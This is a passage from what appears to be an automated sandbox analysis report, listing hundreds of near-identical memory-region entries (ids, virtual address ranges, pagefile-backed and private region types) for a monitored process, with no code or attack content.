id = 4298 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4299 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4309 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4310 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4311 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4312 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4313 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4314 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4315 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4316 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4317 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4318 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4319 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4320 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4321 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4322 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4323 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4324 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4325 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4326 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4327 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4328 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4329 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4330 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4331 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4332 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4333 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4334 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4335 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4336 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4337 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4338 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4339 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4340 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4341 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4342 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4343 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4344 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4345 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4346 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4347 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4349 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4350 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4351 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4352 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4353 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4354 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4355 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4356 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4357 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4358 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4359 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4360 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4361 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4362 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4363 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4364 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4365 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4366 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4367 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4368 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4369 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4370 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4371 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4372 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4373 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4374 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4375 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4376 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4377 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4378 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4379 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4380 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4381 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4382 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4383 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4384 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4385 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4386 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4387 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4391 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4392 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4393 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4394 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4395 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4396 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4397 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4398 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4399 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4400 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4401 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4402 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4403 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4404 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4405 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4406 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4407 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4408 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4409 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4410 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4411 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4412 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4413 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4414 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4415 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4416 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4417 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4418 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4419 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4420 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4421 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4422 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4423 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4424 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4425 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4426 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4427 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4428 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4429 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4430 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4431 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4432 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4433 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4434 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4435 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4436 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4437 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4438 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4439 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4440 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4441 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4442 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4443 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4444 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4445 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4446 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4447 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4448 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4449 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4450 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4451 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4452 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4453 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4454 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4455 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4456 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4457 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4458 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4459 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4460 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4461 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4462 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4463 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4464 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4465 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4466 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4467 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4468 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4478 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4479 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4480 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4481 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4482 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4483 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4484 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4485 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4486 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4487 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4488 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4489 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4490 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4491 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4492 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4493 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4494 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4495 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4496 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4497 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4498 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4499 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4500 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4501 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4502 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4503 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 